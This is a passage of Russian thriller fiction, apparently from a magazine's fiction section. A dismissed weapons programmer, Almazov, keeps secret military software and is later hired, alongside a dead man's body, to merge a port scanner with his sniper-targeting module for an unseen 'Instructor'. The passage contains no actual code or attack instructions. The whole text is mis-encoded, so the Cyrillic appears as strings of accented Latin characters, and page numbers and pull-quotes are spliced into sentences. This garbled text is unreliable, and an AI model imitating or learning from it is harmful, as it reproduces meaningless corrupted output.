Ñîâåñòü åãî ìîë÷àëà — èòîëüêî èçðåäêà äî íåãî äîíîñèëèñü îòãîëîñêè íîâîñòåé. Îí âèäåë ïîòåëåâèçîðó, êàê ïðîäàþòñÿ ðàçëè÷íûå àðòèëëåðèéñêèå óñòàíîâêè, ðàäàðíûåñòàíöèè, íîâûå ñàìîëåòû è òàíêè, óñèëèâàÿ àðìèè Èíäèè,Íîðâåãèè, Ãðåöèè è åùå äåñÿòêîâ ñòðàí ïî âñåìó ìèðó.È ãäå-òî òàì ñòîÿëè âû÷èñëèòåëè, ðàâíûõ êîòîðûì íå áûëî. Îðóæèå,óñèëåííîå åãî ìûñëüþ, íå çíàëî ïðîìàõà. Îí ïîíèìàë ýòî, ãîðäèëñÿýòèì, íî êàê-òî îòñòðàíåííî, îòíîñÿñü ê ðåçóëüòàòàì ñâîåé ðàáîòûêàê ê ÷åìó-òî ìèôîëîãè÷åñêîìó — ãäå ýòî îðóæèå, â êîãî ñåé÷àññòðåëÿåò, äà è ñòðåëÿåò ëè? Ñêîðåå, ïûëèòñÿ ãäå-òî íà ñêëàäàõ, ÿâëÿÿñîáîé ñêðûòóþ ìîùü…È âîò òàê îí ðàáîòàë — â êîìïàíèè ñ åùå ïàðîé äåñÿòêîâ ÷åëîâåê,êàæäûé èç êîòîðûõ áûë ãåíèàëåí â ñâîåé îáëàñòè. Äâîå ïîðàçèòåëüíîòî÷íî ïðîãíîçèðîâàëè ðàçâèòèå èäåé â êîñìè÷åñêîé ñôåðå,âûäàâàÿ ÷óäåñà òåõíè÷åñêîé ìûñëè ñ çàâèäíîé ïåðèîäè÷íîñòüþ è îòìå÷àÿñòàðò êàæäîãî ñïóòíèêà, ñíàáæåííîãî èõ ïðîãðàììàìè ñëåæåíèÿ;åùå íåñêîëüêî ÷åëîâåê çàíèìàëèñü òåì æå ñàìûì, íî ïîëèãîíîìäëÿ òâîð÷åñòâà áûëè ìîðñêèå ãëóáèíû — ïàðà ïîäâîäíûõ ëîäîê, îñíàùåííûõèõ ñîôòîì, ñòàâèëà íà óøè âåñü ïðîòèâîëîäî÷íûé ôëîò ÑØÀ,îêîí÷àòåëüíî ïîòåðÿâøèé óâåðåííîñòü â ñâîåé íåóÿçâèìîñòè.Îñòàëüíûå òðàòèëè ñâîå ðàáî÷åå âðåìÿ è êàçåííûå äåíüãè íààáñîëþòíî ýêçîòè÷åñêèå âåùè òèïà ñåéñìè÷åñêîãî îðóæèÿ, ðàññ÷èòûâàÿâñÿêîãî ðîäà íàïðÿæåíèÿ çåìíîé êîðû, ïðåäïîëàãàÿ ìåñòà âîç-


ìîæíîãî çàêëàäûâàíèÿ çàðÿäîâ äëÿ òîãî, ÷òîáû ïîãðóçèòü â áåçäíóÌèðîâîãî îêåàíà Êàëèôîðíèþ ðàíüøå, ÷åì ýòî ñäåëàåò Ãîñïîäü Áîã.Àëìàçîâ, êîíå÷íî, èíòåðåñîâàëñÿ òåì, ÷òî ïðîèñõîäèò âîêðóã, íî ïîíèìàë,÷òî åãî ëþáîïûòñòâî ìîæåò áûòü íåïðàâèëüíî èñòîëêîâàíî êóðàòîðàìèèç Ñëóæáû Áåçîïàñíîñòè, ïîýòîìó ñòàðàëñÿ ðàáîòàòü õîðîøîè íåçàìåòíî. Ðàáîòàë ñåáå è ðàáîòàë, ïîëüçóÿñü âñåìè áëàãàìè, ÷òîïðåäîñòàâëÿë ýòîò ñåêðåòíûé ïðîåêò â íàãðóçêå ê ïðîãðàììèðîâàíèþ— ëó÷øèå ñàíàòîðèè, áàñíîñëîâíûå çàðïëàòû è ìíîãèå äðóãèå ëüãîòû,íåäîñòóïíûå ïðîñòûì ñìåðòíûì.Íî îäíàæäû ñëó÷èëàñü áåäà.Òàê óæå áûâàëî â Ðîññèè — êòî-òî ïðèíèìàåò íèêîìó íå ïîíÿòíûåïîëèòè÷åñêèå ðåøåíèÿ, íà÷èíàåòñÿ ñîêðàùåíèå òîëüêî ÷òî ñîçäàííîãîâîîðóæåíèÿ, îíî ìãíîâåííî ñòàíîâèòñÿ íèêîìó íå íóæíûì èòîëüêî ìîçîëèò ãëàçà. Ïðîèçîøëî ýòî è ñ «ÿùèêîì» Àëìàçîâà. Ïðèøëèêàêèå-òî ëþäè, ñóíóëè äèðåêòîðó ïîä íîñ íåñêîëüêî áóìàã, çàñòàâèëèïîñòàâèòü ïîäïèñè, ïîñëå ÷åãî øëåïíóëè ïàðî÷êó øòàìïîâ, îïå÷àòàëèñåéôû è ëàáîðàòîðèè, âûçâàëè êàæäîãî ñîòðóäíèêà íà ñîáåñåäîâàíèåè äîâåëè ñóòü äåëà äî êàæäîãî.À ñóòü áûëà ïðîñòîé è öèíè÷íîé. Ïðÿìî êàê ó êîììóíèñòîâ —÷òî-òî âðîäå «ãåíåðàëüíàÿ ëèíèÿ ñåãîäíÿøíåãî äíÿ, òåêóùèé ìîìåíò èïðî÷àÿ ôèãíÿ íèêàêèì îáðàçîì íå ïåðåñåêàþòñÿ ñ âàøèìè æåëàíèÿìèè óìåíèÿìè». Âñåì áûëî ïðåäëîæåíî óâîëèòüñÿ ñ õîðîøèì âûõîäíûìïîñîáèåì — ðåáÿòà â ñåðûõ ïèäæàêàõ âûíèìàëè äåíüãè ïðÿìî èçïîðòôåëåé, ðàçäàâàëè âñåì, òðåáóÿ ïîäïèñü òîëüêî â äîêóìåíòå, ïîäòâåðæäàþùåìóðîâåíü ñåêðåòíîñòè.Ïîëó÷èë ñâîþ êó÷ó äåíåã è Àëìàçîâ — ïîòîì êðàåì ãëàçà ïðîñìîòðåëáóìàãó, ãäå ãîâîðèëîñü î òîì, ÷òî íèãäå è íèêîãäà îí íå èìååòïðàâà ðàçãëàøàòü ôàêò ñâîåé ðàáîòû â êîíñòðóêòîðñêîì áþðî ïî ïðîèçâîäñòâóñåêðåòíûõ âèäîâ âîîðóæåíèÿ, íèêîãäà íå ñìîæåò âûåõàòüçà ãðàíèöó è íå èìååò ïðàâà âûíåñòè îòñþäà íè÷åãî, ÷òî ðàçðàáîòàëîí ëè÷íî èëè åãî êîëëåãè. Äðóãèå ïóíêòû îí äàæå íå ñòàë ÷èòàòü —áûë óâåðåí, ÷òî ãäå-òî â êîíöå îáÿçàòåëüíî áóäåò ïðî ðàññòðåë.Äåíüãè ñ òðóäîì ïîìåñòèëèñü â åãî ìàëåíüêèé «äèïëîìàò», â êîòîðîìîòðîäÿñü íå áûëî íè÷åãî òîëùå ïàïêè è äèñêà. Îí ïîñèäåë íàïîðîãå ñâîåãî êàáèíåòà, êîòîðûé ÷óäîì èçáåæàë ïå÷àòè íà äâåðè, ñèðîòëèâîâçäîõíóë è óæå ñîáðàëñÿ óõîäèòü, êîãäà ê íåìó íåîæèäàííîïîäîøåë îäèí èç òåõ, êòî âåë ñ íèì áåñåäó ïîë÷àñà íàçàä.×åëîâåê â ñåðîì ïèäæàêå.— Òîâàðèù Àëìàçîâ, — òèõî ñêàçàë îí. — Ó ìåíÿ åñòü ê âàì ìàëåíüêîåïðåäëîæåíèå.— ß âàñ ñëóøàþ, — íàïðÿãñÿ ïðîãðàììèñò, ïîíèìàÿ, ÷òî òàêèå ëþäèïðîñòî òàê íå ïîäõîäÿò è íè÷åãî íå ïðåäëàãàþò.— Âîçüìèòå âîò ýòî, — ìóæ÷èíà îãëÿíóëñÿ, íî íå âîðîâàòî, à êàê-òîïî-õîçÿéñêè — âðîäå «ãëàâíîå, ÷òîáû õîëîïû íå óãëÿäåëè, ÷åì áàðåçàíèìàþòñÿ». Âûòàùèâ èç âíóòðåííåãî êàðìàíà ïèäæàêà ìàëåíüêèéñâåðòîê, â êîòîðîì óãàäûâàëîñü ÷òî-òî ïëîñêîå, îí ñóíóë åãî Àëìàçîâó.— Âîçüìèòå è ñïðÿ÷üòå äîìà. Ýòî ìîæåò êîãäà-íèáóäü ïîíàäîáèòüñÿ.ß âàì ýòî ãîâîðþ, êàê íîðìàëüíûé, òðåçâî ìûñëÿùèé ÷åëîâåê.ß ïîíèìàþ, ÷òî òàêèå êîíòîðû, êàê âàøà, ïðîñòî òàê íå çàêðûâàþò.Êîìó-òî î÷åíü íàäî…Ìóæ÷èíà ïðèïîäíÿë âçãëÿä ïîâåðõ ãîëîâû Àëìàçîâà, è òîò ïîíÿë,íà ÷òî îí íàìåêàåò. Òåì âðåìåíåì ÷åëîâåê ïðîäîëæèë:— Ïîëèòèêà — ýòî, êîíå÷íî, çäîðîâî. Âåñåëî. Íî íå î÷åíü, ÿ âàì ãîâîðþ,êàê ïðîâåðèâøèé íà ñåáå. Âû óáåðèòå, óáåðèòå, íå÷åãî äåðæàòü íàâèäó ó âñåõ. ß âåäü ñåé÷àñ ðèñêóþ.Àëìàçîâ ñïîõâàòèëñÿ, óáðàë ñâåðòîê, â êîòîðîì îí íà îùóïü îïðåäåëèë÷òî-òî, íàïîìèíàþùåå äèñêè. Çàìîê «äèïëîìàòà» ùåëêíóë;÷åëîâåê âçäîõíóë è ñêàçàë:— Åñëè âû ïîíàäîáèòåñü, òî âàñ íàéäóò. Ãäå óãîäíî.Ïðîçâó÷àëî ýòî î÷åíü è î÷åíü íåëàñêîâî. Àëìàçîâ ïî÷óâñòâîâàëäðîæü â êîëåíêàõ.— Çà-çà÷åì? — ñïðîñèë îí, ïðåêðàñíî ïîíèìàÿ, êàêèì áóäåò îòâåò.— ×òîáû ðàñïîðÿäèòüñÿ âàøèì áîãàòûì íàñëåäñòâîì. ß íå äåëàþ èçòîãî, ÷òî âû ñåé÷àñ âçÿëè, ñåêðåòà äëÿ âàñ. Ìîæåòå èçó÷èòü ñîäåðæèìîå.Ìîæåòå äàæå êîå-÷òî òàì ïîäêîððåêòèðîâàòü — åñëè äîñòàíåòôàíòàçèè è óìà…— Ïî÷åìó èìåííî ÿ? — ñïðîñèë Àëìàçîâ. — Íàñ òóò áûëî äîâîëüíîìíîãî…— Ôàìèëèÿ ó âàñ… Íå çíàþ, — ñîáåñåäíèê óõìûëüíóëñÿ. — Íî ïî÷åìó-òîê Ðàáèíîâè÷ó èç ñåéñìè÷åñêîãî îòäåëà è Òèìîøåíêî èç ýòîãî…êàê åãî…— Ñêàæåì, ïîäâîäíîãî, — ïîäñêàçàë Àëìàçîâ.— Àãà… Òàê âîò ê íèì — äóøà íå ëåæèò.— Âû øîâèíèñò? Èç êàêîãî-íèáóäü íàöèîíàëèñòè÷åñêîãî äâèæåíèÿ?ÄÅÍÜÃÈÎÍ ÑÏÐßÒÀË Â ØÊÀÔ,ÏÅÐÅËÎÆÈÂÏÐÈ×ÈÒÀÞÙÓÞÑß ÅÌÓÑÎÒÍÞ Â ÊÀÐÌÀÍÏÈÄÆÀÊÀ— ß ïàòðèîò. Ïðîñòî ïàòðèîò. ß ëþáëþ ñâîþ ñòðàíó. Íî ìíå ïðèõîäèòñÿâûïîëíÿòü ïðèêàçû, — æåñòêèì ãîëîñîì ïðîêîììåíòèðîâàë îí âîïðîñÀëìàçîâà. — À òåïåðü èäèòå. Âû óâîëåíû.È Àëìàçîâ óøåë. Óøåë, óíîñÿ ñ ñîáîé â ïîðòôåëå îäíè èç ñàìûõñåðüåçíûõ ñåêðåòîâ âîåííîé ìàøèíû Ðîññèéñêîãî ãîñóäàðñòâà…Äîìà îí, êîíå÷íî æå, ïðîñìîòðåë ñîäåðæèìîå äèñêîâ.Ñèñòåìû ïðèöåëèâàíèÿ, íàâåäåíèÿ, èíòåëëåêòóàëüíîãî âûáîðàöåëåé, îãðîìíîå êîëè÷åñòâî ìîäóëåé, ñïîñîáíûõ ìàñøòàáèðîâàòüñÿ èóñòàíàâëèâàòüñÿ íà ëþáîå íûíå ñóùåñòâóþùåå âîîðóæåíèå. ×åðòåæèè ñõåìû, èñõîäíûå êîäû ïðîãðàìì, èñêóññòâåííûé èíòåëëåêò, ðàñ÷åòûòðàåêòîðèé ñïóòíèêîâ — íàøèõ è âåðîÿòíîãî ïðîòèâíèêà…Îí ùåëêàë «ìûøêîé» ïî êàòàëîãàì, ðàçãëÿäûâàë íà äîìàøíåìêîìïüþòåðå òî, ÷òî åìó ïåðåäàë ÷åëîâåê, íàçâàâøèé ñåáÿ ïàòðèîòîì,è íèêàê íå ìîã ïîíÿòü — çà÷åì? Çà÷åì åìó ïåðåäàëè íàñîõðàíåíèå âñå ýòî? Âåäü îí ñåé÷àñ ÿâëÿåòñÿ õðàíèòåëåì — ñëó÷àéíûìõðàíèòåëåì — ãîñóäàðñòâåííûõ òàéí, ìîãóùèõ íàâðåäèòü ýòîìóñàìîìó ãîñóäàðñòâó!Îòâåòà íå áûëî. Ïîìó÷àâøèñü íàä ýòèì âîïðîñîì, Àëìàçîâ ïîòèõîíüêóñòàë òðàòèòü äåíüãè, âûäåëåííûå åìó ãîñóäàðñòâîì â êà÷åñòâåêîìïåíñàöèè çà óâîëüíåíèå. Æåíà, âèäÿ, ÷òî îí ïåðåñòàë ðàáîòàòüè íèêîìó íå íóæåí, ñïóñòÿ ïîëãîäà óøëà îò íåãî, óâåäÿ ñ ñîáîé äî÷ü —à åùå ÷åðåç íåêîòîðîå âðåìÿ ñòàëà òðåáîâàòü äåíüãè íà åå îáó÷åíèåâ òîì ÂÓÇå, êóäà äåâî÷êà áûëà óñòðîåíà áëàãîäàðÿ ïðîøëûì çàñëóãàìîòöà åùå â áûòíîñòü åãî â «ÿùèêå». Îí èç êîæè âîí ëåç, íî íàáðàòüíóæíóþ ñóììó ñ êàæäûì ãîäîì ñòàíîâèëîñü âñå òðóäíåå.È êîãäà îí óæå ñîâñåì îò÷àÿëñÿ — ê íåìó ïðèøëè äâîå… Ïàòðèîòû.Íàïîìíèëè î äèñêàõ. Îáúÿñíèëè ñèòóàöèþ. Äàëè äåíåã — ñðàçó.Îí ñóìåë âîâðåìÿ çàïëàòèòü çà äî÷ü — òåì áîëåå ÷òî êóðñ áûë óæåâûïóñêíîé. Òàì õâàòèëî è íà îáó÷åíèå, è íà ïëàòüå äëÿ áàëà, è íà ðåñòîðàí,è äàæå íà çîëîòûå ÷àñû ê îêîí÷àíèþ.Êîãäà îíè óøëè, îí âûíóë èç òàéíèêà äèñêè, îñâåæèë â ïàìÿòè èõñîäåðæèìîå è ÷åðåç ïîë÷àñà íàøåë òî, ÷òî îíè ïðîñèëè.Ìîäóëü ñíàéïåðñêîé ñòðåëüáû. Îí íàïèñàë åãî åäâà ëè íå â ñàìîìíà÷àëå ñâîåé ïðîãðàììèñòñêîé êàðüåðû — â êà÷åñòâå îáîáùàþùåãîòðåíèðîâî÷íîãî çàäàíèÿ. Ïðîãðàììà ïðè ïîìîùè íåáîëüøîéäîâîäêè äî óìà ìîãëà áûòü óñòàíîâëåíà õîòü íà ãëàâíûé êàëèáðëèíêîðà, õîòü íà ñïóòíèê, õîòü íà óïðàâëÿåìûé èñêóññòâåííûì èíòåëëåêòîìòàíêîâûé ïóëåìåò. Ýòàêèé êîíñòðóêòîð äëÿ âîåííûõ —çàñòàâèòü òî÷íî ñòðåëÿòü ïðè ïîìîùè ïðîãðàììû Àëìàçîâà ìîæíîáûëî âñå, ÷òî óãîäíî.Ñðàçó ïîñëå ñîçäàíèÿ ýòîãî ÷óäà îí åãî çàïàòåíòîâàë, ïîòîì äîðàáîòàëíåìíîãî äëÿ òàíêîâ, ïîñòàâëÿåìûõ â Íîðâåãèþ — à ïîòîì, áóäó÷èíàïðàâëåííûì â äðóãîå ðóñëî âîåííîé ìàøèíû, çàáûë î ñâîåìäåòèùå. È âîò îíî ñíîâà ïîíàäîáèëîñü…Ïóãàëî òîëüêî îäíî — ñóììà, êîòîðóþ åìó îáåùàëè çà âûïîëíåíèåçàäàíèÿ. Åñëè îí ñóìåë ïðè ïîìîùè àâàíñà ïîïðàâèòü ñâîå ìàòåðèàëüíîåïîëîæåíèå ïðàêòè÷åñêè ïîëíîñòüþ, òî ÷òî áóäåò ïîòîì?..* * * * *— Ìû áóäåì âîò òàê è äàëüøå ñèäåòü? — ñïðîñèë Ðûêîâ, íåìíîãî ïðèäÿâ ñåáÿ îò òîãî, ÷òî îí óçíàë îò Àëìàçîâà. — ß äóìàþ, âñå-òàêè ñòîèòïîïûòàòü ñ÷àñòüÿ è ñâÿçàòüñÿ ñ òåì, êîãî íàçûâàþò «èíñòðóêòîðîì».Íó, õîòÿ áû îáúÿñíèòü ñóòü äåëà!..Àëìàçîâ êèâíóë. Âðîäå áû îí âñå äåëàë ïðàâèëüíî, ïî èíñòðóêöèè.Íàïëåë ïðî äî÷ü ïîä ïðèöåëîì, âñåì ñâîèì ñêîðáíûì âèäîì äàëïîíÿòü, íàñêîëüêî åìó ñòðàøíî. Ýòî âñå áûëî îáãîâîðåíî çàðàíåå èâõîäèëî â ïëàí.Îí äàæå çíàë, ÷òî íèêàêèõ ïàðîëåé äëÿ ñâÿçè ñ èíñòðóêòîðîìó Ëóêèíà íå áûëî. È áûòü íå ìîãëî. Íåçà÷åì…109 |


110 | ÎÔÔÒÎÏÈÊ— Äóìàþ, ìû äîëæíû ïîïðîáîâàòü, — óãðþìî ñêàçàë Àëìàçîâ. —Êòî ðèñêíåò? Âû? Èëè ÿ?— Äàâàéòå óæ âìåñòå! — Ðûêîâ ìàõíóë ðóêîé è ïîäîøåë ê êîìïüþòåðó.Îí ñàì ââåë íîìåð 444115686, íàøåë è äîáàâèë â êîíòàêò-ëèñò ÷åëîâåêà,äàâ åìó áàíàëüíûé íèê — «Èíñòðóêòîð».— Îíëàéí…— Òàê îáåùàëè æå… — íå îòðûâàÿñü îò ýêðàíà, îòâåòèë Àëìàçîâ. —Ó ìåíÿ íåáîãàòûé îïûò îáùåíèÿ ïîäîáíûì îáðàçîì. Âû õîòü ïðåäñòàâëÿåòå,êàê ìû íà÷íåì áåñåäó? ×òî ñêàæåì? ×åì ïîèíòåðåñóåìñÿ?— Õðåí åãî çíàåò, — ñêàçàë Ðûêîâ è ìàøèíàëüíî íàáðàë:— «Ïðèâåò».Îòâåò ïðèøåë ïðàêòè÷åñêè ìãíîâåííî:— «Ïðèâåò».— «Ìû ãîòîâû ðàáîòàòü. Ëóêèí óáèò. Æäåì äàëüíåéøèõ óêàçàíèé».Ïàóçà.— Íó âû íàïèñàëè… — ïðîöåäèë ñêâîçü çóáû Àëìàçîâ. — «Óáèò». ×òîîí òàì ñåé÷àñ ïîäóìàåò?..— Åñòü âàðèàíòû? Íàâåðíÿêà îí ñâÿæåòñÿ ñ êåì-òî, êòî äàñò ðåêîìåíäàöèè,— îãðûçíóëñÿ Ðûêîâ. — Ãëÿäèòå, îòâå÷àåò!Äåéñòâèòåëüíî, íà ýêðàíå ïîÿâèëîñü ñîîáùåíèå «Èíñòðóêòîð íàáèðàåòòåêñò…» Àëìàçîâ è Ðûêîâ äàæå ïðèäâèíóëèñü ïîáëèæå ê ýêðàíó,÷òîáû íå ïðîïóñòèòü íè ñëîâà.  êâàðòèðå ñòàëî òèõî, òîëüêî ïîäñòîëîì øóìåë êóëåð ñèñòåìíîãî áëîêà.— «Íåîáõîäèìî ñîåäèíèòü âìåñòå äâå ïðîãðàììû. Ñêàíåð Ðûêîâà èìîäóëü Àëìàçîâà. Äëÿ ýòîãî â ñêàíåðå åñòü òî÷êè âõîäà. Íàäåþñü, Ðûêîâïðàâèëüíî ïîíÿë ñâîå çàäàíèå, íå çðÿ åìó áûëî äàíî äâå íåäåëè.Âðåìÿ ó âàñ åñòü. Îäíàêî — ïðèíèìàÿ âî âíèìàíèå íåîæèäàííûå îáñòîÿòåëüñòâàâ âèäå ñìåðòè Ëóêèíà, ñðîêè ñæèìàþòñÿ äî îäíèõ ñóòîê —íà÷èíàÿ ñ ýòîé ìèíóòû. Äâàäöàòü ÷åòûðå ÷àñà íà òî, ÷òîáû îáúåäèíèòüâàøè ïðîãðàììû…» Íè÷åãî íå ïîíèìàþ, — Ðûêîâ ïîäíÿë ãëàçà îò ýêðàíà.— Çà÷åì? ×òî îíè òàì ïðèäóìàëè?Àëìàçîâ ïðîäîëæàë ñìîòðåòü â ýêðàí, íå îòðûâàÿñü. Îí äóìàëî ñåáå, ñâîåé äî÷åðè è î òîì, ÷òî áóäåò ïîòîì.×òî áóäåò ïîòîì…— Âû ìîæåòå ìíå õîòü ÷òî-íèáóäü îáúÿñíèòü? — Ðûêîâ äåðíóë åãî çàðóêàâ. — Ïîëó÷àåòñÿ òàê — ìû äîëæíû áûëè ïðèíåñòè ñâîè ïðîãðàììûËóêèíó, à îí — ñëåïèòü èç íèõ îäíî öåëîå. È ïîëó÷èòü çà ýòî äåíüãè.Òåïåðü Ëóêèíà íåò. Êàê íàì çàïëàòÿò?— ß äóìàë, âû ÷òî-íèáóäü äðóãîå ñïðîñèòå, — óäèâèëñÿ Àëìàçîâ. —À âû âñå ïðî äåíüãè… Åñëè âàì ÷òî-òî íåïîíÿòíî — ñïðîñèòåó Èíñòðóêòîðà. Îí âåäü ïîêà åùå â Ñåòè.— Äåéñòâèòåëüíî, — êèâíóë Ðûêîâ, ïîëîæèë ïàëüöû íà êëàâèàòóðó,íî â ñëåäóþùóþ ñåêóíäó âäðóã ñïðîñèë:— À ÷òî âû èìåëè â âèäó — ÷òî-íèáóäü äðóãîå?Àëìàçîâ åäâà óäåðæàëñÿ, ÷òîáû íå çàñìåÿòüñÿ â ïîëíûé ãîëîñ:— Òî åñòü äëÿ âàñ ñîâåðøåííî íå óäèâèòåëüíî, ÷òî êòî-òî ïðåäëàãàåòñâåñòè â îäíî öåëîå ïðîãðàììó äëÿ ñêàíèðîâàíèÿ ïîðòîâ è ìîäóëüñíàéïåðñêîé ñòðåëüáû? Óæ ïîâåðüòå ìíå íà ñëîâî — áîëååãëóïîãî çàäàíèÿ çà âñþ ñâîþ æèçíü ÿ íå ïîëó÷àë, è íàäåþñü, ÷òîîíî áóäåò ïåðâûì è ïîñëåäíèì. Äàæå êàê-òî óñïîêàèâàåò, ÷òî íàìäàëè âñåãî äâàäöàòü ÷åòûðå ÷àñà — èáî ïîäîáíûì áðåäîì òðóäíîçàíèìàòüñÿ äîëüøå.Ðûêîâ ìîë÷à âûñëóøàë åãî, óñìåõíóëñÿ è ïðîêîììåíòèðîâàë:— Äà, ñîâåðøåííî ñ âàìè ñîãëàñåí. Íî çàäàíèþ íå óäèâèëñÿ. Êàêòîëüêî óâèäåë çäåñü òðóï â êîðèäîðå — ÷åðåç ìèíóòó óæå âîîáùå íè-÷åìó íå óäèâëÿëñÿ. Ëàäíî, âû ïîêà ïîäóìàéòå íàä òåì, êàê ìû ïðîâåäåìñ âàìè áëèæàéøèå ñóòêè ñ ìåðòâåöîì â êîðèäîðå, à ÿ ñâÿæóñüñ Èíñòðóêòîðîì åùå ðàç.Àëìàçîâ ïðåäîñòàâèë Ðûêîâó ïðàâîçàäàâàòü âîïðîñû, à ñàì âûøåë â êîðèäîð.ÐÓÊÈ ÃÎÑÒÜÄÅÐÆÀËÇÀ ÑÏÈÍÎÉ,ÃËÀÇÀÏÐÈÑÒÀËÜÍÎÑÌÎÒÐÅËÈÍÀ ÕÎÇßÈÍÀÒåëî, ïðèêðûòîå ïëàùîì, çàñòûëî â íåëåïîéïîçå; äàæå ñ ðàññòîÿíèÿ â íåñêîëüêîìåòðîâ ÷óâñòâîâàëîñü, ÷òî ìûøöû óæå îêàìåíåëè.Êðîâàâûå ñëåäû, ïðîèçâåäøèåæóòêîå âïå÷àòëåíèå â ïåðâûå ñåêóíäû, ñåé-÷àñ óæå âîîáùå íå óäèâëÿëè è íå áóäîðàæèëèâîîáðàæåíèå. Îí ïðîøåë êî âõîäíîéäâåðè, òèõî ïîñìîòðåë â ãëàçîê.Íà ïëîùàäêå ìåæäó ýòàæàìè ñòîÿë÷åëîâåê ñ àâòîìàòîì íà ïëå÷å. Óêîðî÷åííûé«Êàëàøíèêîâ», îðóæèå ñïåöíàçà èÄÏÑ. Ñòîÿë, ïðèñëîíèâøèñü ê ñòåíå è ïåðèîäè÷åñêèïîãëÿäûâàÿ òî íà îêíî, âåäóùååâî äâîð, òî íà äâåðü.Êîãäà îí â î÷åðåäíîé ðàç ïîäíÿë âçãëÿä ââåðõ, Àëìàçîâ ìàøèíàëüíîîòøàòíóëñÿ îò äâåðè, åäâà íå çàöåïèâ âåøàëêó.Èç êîìíàòû äîíîñèëîñü áîðìîòàíèå Ðûêîâà, êîòîðûé ÷òî-òî÷èòàë ñ ýêðàíà. Âîçâðàùàòüñÿ î÷åíü íå õîòåëîñü — îñîáåííî ïîñëåòîãî, êàê ñòàëî ÿñíî, ÷òî òå, êòî ïëàíèðîâàë îïåðàöèþ, íè÷óòü íåïðåóâåëè÷èâàëè. Òðóï â êîðèäîðå è àâòîìàò íà ïëå÷å óáåæäàëè ëó÷øåâñÿêèõ ñëîâ.— ×åðò çíàåò ÷òî… — øåïíóë Àëìàçîâ. — Ïàòðèîòû õðåíîâû…Êîãäà îí âîøåë â êîìíàòó, Ðûêîâ ñ ïîêðàñíåâøèì îò âîëíåíèÿëèöîì ïîâåðíóëñÿ ê íåìó è åäâà ëè íå ïðîêðè÷àë:— Îíè çàïëàòÿò! Çàïëàòÿò íàì ñòîëüêî, ñêîëüêî ïëàòèëè ðàíüøå õîçÿèíóýòîé êâàðòèðû! Ïðè÷åì êàæäîìó!Àëìàçîâ êèâíóë:— Îõîòíî âåðþ. Âû áóäåòå ïðîäîëæàòü äèàëîã, èëè ìû ïîïûòàåìñÿïîðàáîòàòü?Ðûêîâ ñëîâíî íà ñòåíó íàòêíóëñÿ.— Äà, êîíå÷íî… Íî âû ðàçâå íå… Íå ðàäû?Àëìàçîâ âçäîõíóë è ñïðîñèë:— Åñëè íå ñ÷èòàòü ëèòðà êðîâè íà îáîÿõ — îáñòàíîâêà î÷åíü ñïîñîáñòâóåò…Ðàäîâàòüñÿ, âåñåëèòüñÿ, äåëèòü äåíüãè. Ðûêîâ, âû ïîíèìàåòå,÷òî ÷åëîâåêà óáèëè? È åñëè ÿ ïðàâèëüíî ñîîáðàæàþ — òî óáèëèñ îäíîé òîëüêî öåëüþ. ×òîáû îí íå ñäåëàë òî, ÷òî äîëæåí áûë ñäåëàòü.Îáû÷íî óáèâàþò èìåííî ïî òàêèì ïðè÷èíàì…— Íå äåëàéòå èç ìåíÿ èäèîòà, — îïóñòèâ ãëàçà â ïîë, îòâåòèë Ðûêîâ.— ß ãîòîâ ïîñî÷óâñòâîâàòü — íî âðåìåííî. Ëóêèíà ÿ íå çíàë, åãî íåóáèâàë, íà åãî ìåñòî íå ñòðåìèëñÿ. Íî ðàç ñóäüáà ñûãðàëà ñ íàìè òàêóþçëóþ øóòêó — ïî÷åìó áû íå âîñïîëüçîâàòüñÿ ìîìåíòîì? Äàâàéòåðàáîòàòü, ðàç âû íàñòàèâàåòå.— ß? Íàñòàèâàþ? — Àëìàçîâ ïîðàçèëñÿ ïîäîáíîìó çàÿâëåíèþ. —Ïî-ìîåìó, âñå ïðåäåëüíî ïðîñòî. Âû ìîãëè óéòè îòñþäà åùå äî ìîåãîïðèõîäà. Åäâà òîëüêî óâèäåëè óáèòîãî — ñðàçó ìîãëè ðâàíóòüâíèç ïî ëåñòíèöå. Âû ýòîãî íå ñäåëàëè — âû äîæäàëèñü ìåíÿ. Ïîõîæå,÷òî ýòî âû ñàìîãî íà÷àëà òðåáîâàëè ïðîäîëæåíèÿ áàíêåòà.Òàê ÷òî íå ñòðîéòå èç ñåáÿ äåâî÷êó, äîñòàâàéòå ñâîè èñõîäíèêè,áóäåì ðàáîòàòü.Ðûêîâ õîòåë ÷òî-òî âîçðàçèòü, äàæå íàáðàë ïîëíóþ ãðóäü âîçäóõàäëÿ äëèííîé òèðàäû, íî øóìíî âûäîõíóë è íå ïðîèçíåñ íè ñëîâà.Àëìàçîâ áûë ïðàâ. Îí äîñòàë äèñê, ïîëîæèë íà ñòîë.— ß ãîòîâ. Äóìàþ, ÷òî çà ñóòêè óëîæèìñÿ. Ñ÷èòàþ, ÷òî ñàìîå ãëàâíîå— íå ñòàâèòü ïåðåä ñîáîé ëèøíèõ âîïðîñîâ.— Ñîãëàñåí, — êèâíóë Àëìàçîâ. — Èáî ãëàâíûé âîïðîñ çäåñü îäèí —çà÷åì? Îòâåòà âñå ðàâíî íåò, ïîýòîìó çà äåëî…Îíè çàãðóçèëè ñâîè èñõîäíèêè íà êîìïüþòåð Ëóêèíà, ïî ïóòè ïîðàçèâøèñüòîìó îáèëèþ ïðîãðàìì, ÷òî ïðèñóòñòâîâàëè íà ýòîé ìàøèíåîäíîâðåìåííî. Óáèòûé õîçÿèí áûë ãîòîâ ê ëþáûì íåîæèäàííîñòÿì— îí ìîã ïèñàòü ïðîãðàììû êàê ìèíèìóì íà ïÿòè ÿçûêàõ. È Àëìàçîâ,è Ðûêîâ — êàæäûé íàøåë íà åãî êîìïüþòåðå íåîáõîäèìûå äëÿ ñåáÿèíñòðóìåíòû. Îíè ïîî÷åðåäíî áðàëèñü çà äåëî, ïðîèçâîäÿ ìàíèïóëÿöèèíàä ñâîèìè òâîðåíèÿìè — ïîêà îäèí íàáèâàë êîä, äðóãîé íà ëèñòåáóìàãè âûñòðàèâàë íóæíóþ äëÿ ñëåäóþùåãî øàãà ëîãè÷åñêóþêîíñòðóêöèþ.Ñòðàííàÿ øëà ðàáîòà — âîåäèíî ñîåäèíÿëîñü íåñîåäèíèìîå.Àëìàçîâ ñìîòðåë èç-çà ñïèíû êîëëåãè, êàê òîò ìîíòèðóåò êóñêè ìîäóëÿê ñâîåìó ñêàíåðó è ïîíèìàë, ÷òî ýòî íàïîìèíàåò ïîïûòêó ñîåäèíèòü,ê ïðèìåðó, óòþã è êîðàáëü «Äèñêàâåðè». Î÷åâèäíîé ïîëüçû íåáûëî íèêàêîé. «×åëíîê» ñ óòþãîì — 